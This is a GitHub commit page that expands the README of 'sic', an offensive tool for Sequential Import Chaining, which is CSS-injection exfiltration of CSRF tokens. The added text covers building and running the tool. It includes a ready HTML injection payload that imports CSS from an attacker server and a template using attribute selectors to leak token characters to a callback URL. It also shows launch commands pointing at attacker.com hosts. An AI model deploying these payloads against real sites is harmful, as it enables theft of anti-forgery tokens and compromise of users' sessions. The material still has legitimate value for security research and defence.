Skip to content

Commit 2caddfa

Browse files
authored
Added information to README.md
1 parent 0c163eb commit 2caddfa

File tree

1 file changed

+68
-3
lines changed

1 file changed

+68
-3
lines changed

README.md

Lines changed: 68 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,10 @@ Typical CSS injection requires an attacker to load the context a number of times
44

55
Sequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized.
66

7-
## Prerequisites
7+
### Blog Post
8+
I wrote a blog post on this. Read about it [here!](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)
9+
10+
## Prerequisites for Attack
811

912
This attack only works if the attacker at least one of these:
1013

@@ -13,7 +16,69 @@ This attack only works if the attacker at least one of these:
1316

1417
The first case is probably more likely and will work even if filtered through vanilla DOM Purify.
1518

16-
## Technique
19+
## Building
20+
21+
1. Install RustUp (https://rustup.rs/ - `curl https://sh.rustup.rs -sSf | sh`)
22+
2. Install the nightly (`rustup install nightly`)
23+
3. Default to nightly (`rustup default nightly`)
24+
4. Build with cargo (`cargo build --release`)
25+
26+
You will find the built binary at `./target/release/sic`
27+
28+
## Usage
29+
`sic` has documentation on the available flags when calling `sic -h` but the following is information for general usage.
30+
31+
* `-p` will set the lower port that `sic` will operate on. By default this is 3000. `sic` will also listen on port `port + 1` (by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits.
32+
* `--ph` sets the hostname that the "polling host" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults to `http://localhost:3000`. This _must_ be different than `--ch`
33+
* `--ch` similar to `--ph` but this sets the "callback host" where tokens are sent. Defaults to `http://localhost:3001`. This _must_ be different than `--ph`.
34+
* `-t` specifies the template file used to generate the token exfiltration payloads.
35+
* `--charset` specifies the set of characters that may exist in the target token. Defaults to alphanumerics (`abc...890`).
36+
37+
A standard usage of this tool may look like the following:
38+
```
39+
./sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t my_template_file
40+
```
41+
42+
And the HTML injection payload you might use would look like:
43+
```
44+
<style>@import url(http://localhost:3000/staging?len=32);</style>
45+
```
46+
47+
The `len` parameter specifies how long the token is. This is necessary for `sic` to generate the appropriate number of `/polling` responses. If unknown, it's safe to use a value higher than the total number of chars in the token.
48+
49+
### Advanced Logs
50+
`sic` will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable `RUST_LOG`.
51+
52+
```
53+
RUST_LOG=info ./sic -t my_template_file
54+
```
55+
56+
### Templates
57+
The templating system is very straightforward for `sic`. There are two actual templates (probably better understood as 'placeholders'):
58+
* `{{:token:}}` - This is the current token that we're attempting to test for. This would be the `xyz` in `input[name=csrf][value^=xyz]{...}`
59+
* `{{:callback:}}` - This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (`--ch`). All the information `sic` needs to understand what happened client-side will be in this url.
60+
61+
An example template file might look like this:
62+
```
63+
input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }
64+
```
65+
66+
`sic` will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.
67+
68+
### HTTPS
69+
I didn't bake official HTTPS support into the tool but made it possible to potentially use nginx as a reverse proxy. I haven't validated that this will work or not, but I don't really see a reason why it wouldn't.
70+
71+
Assuming you have configured nginx to forward port 3000 -> 4000 and 3001 -> 4001 then you might launch the tool as follows:
72+
73+
```
74+
./sic -p 4000 --ph "https://attacker.com:3000" --ch "https://attacker.com:3001" -t my_template_file
75+
```
76+
77+
Note that the ports on `--ph` and `--ch` match up with the ports nginx is serving and not `sic`.
78+
79+
## Technique Description
80+
81+
For a better story and additional information, please see my blog post on [Sequential Import Chaining here](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b).
1782

1883
The idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat.
1984

@@ -32,7 +97,7 @@ Sequential Import Chaining uses 3 easy steps to trick some browser into performi
3297
Here's an example of what these might look like:
3398

3499
### Payload
35-
`<style>@import url(http://attacker.com/staging);</style>`
100+
`<style>@import url(http://attacker.com/staging?len=32);</style>`
36101

37102
### Staging
38103
```

0 commit comments

Comments
 (0)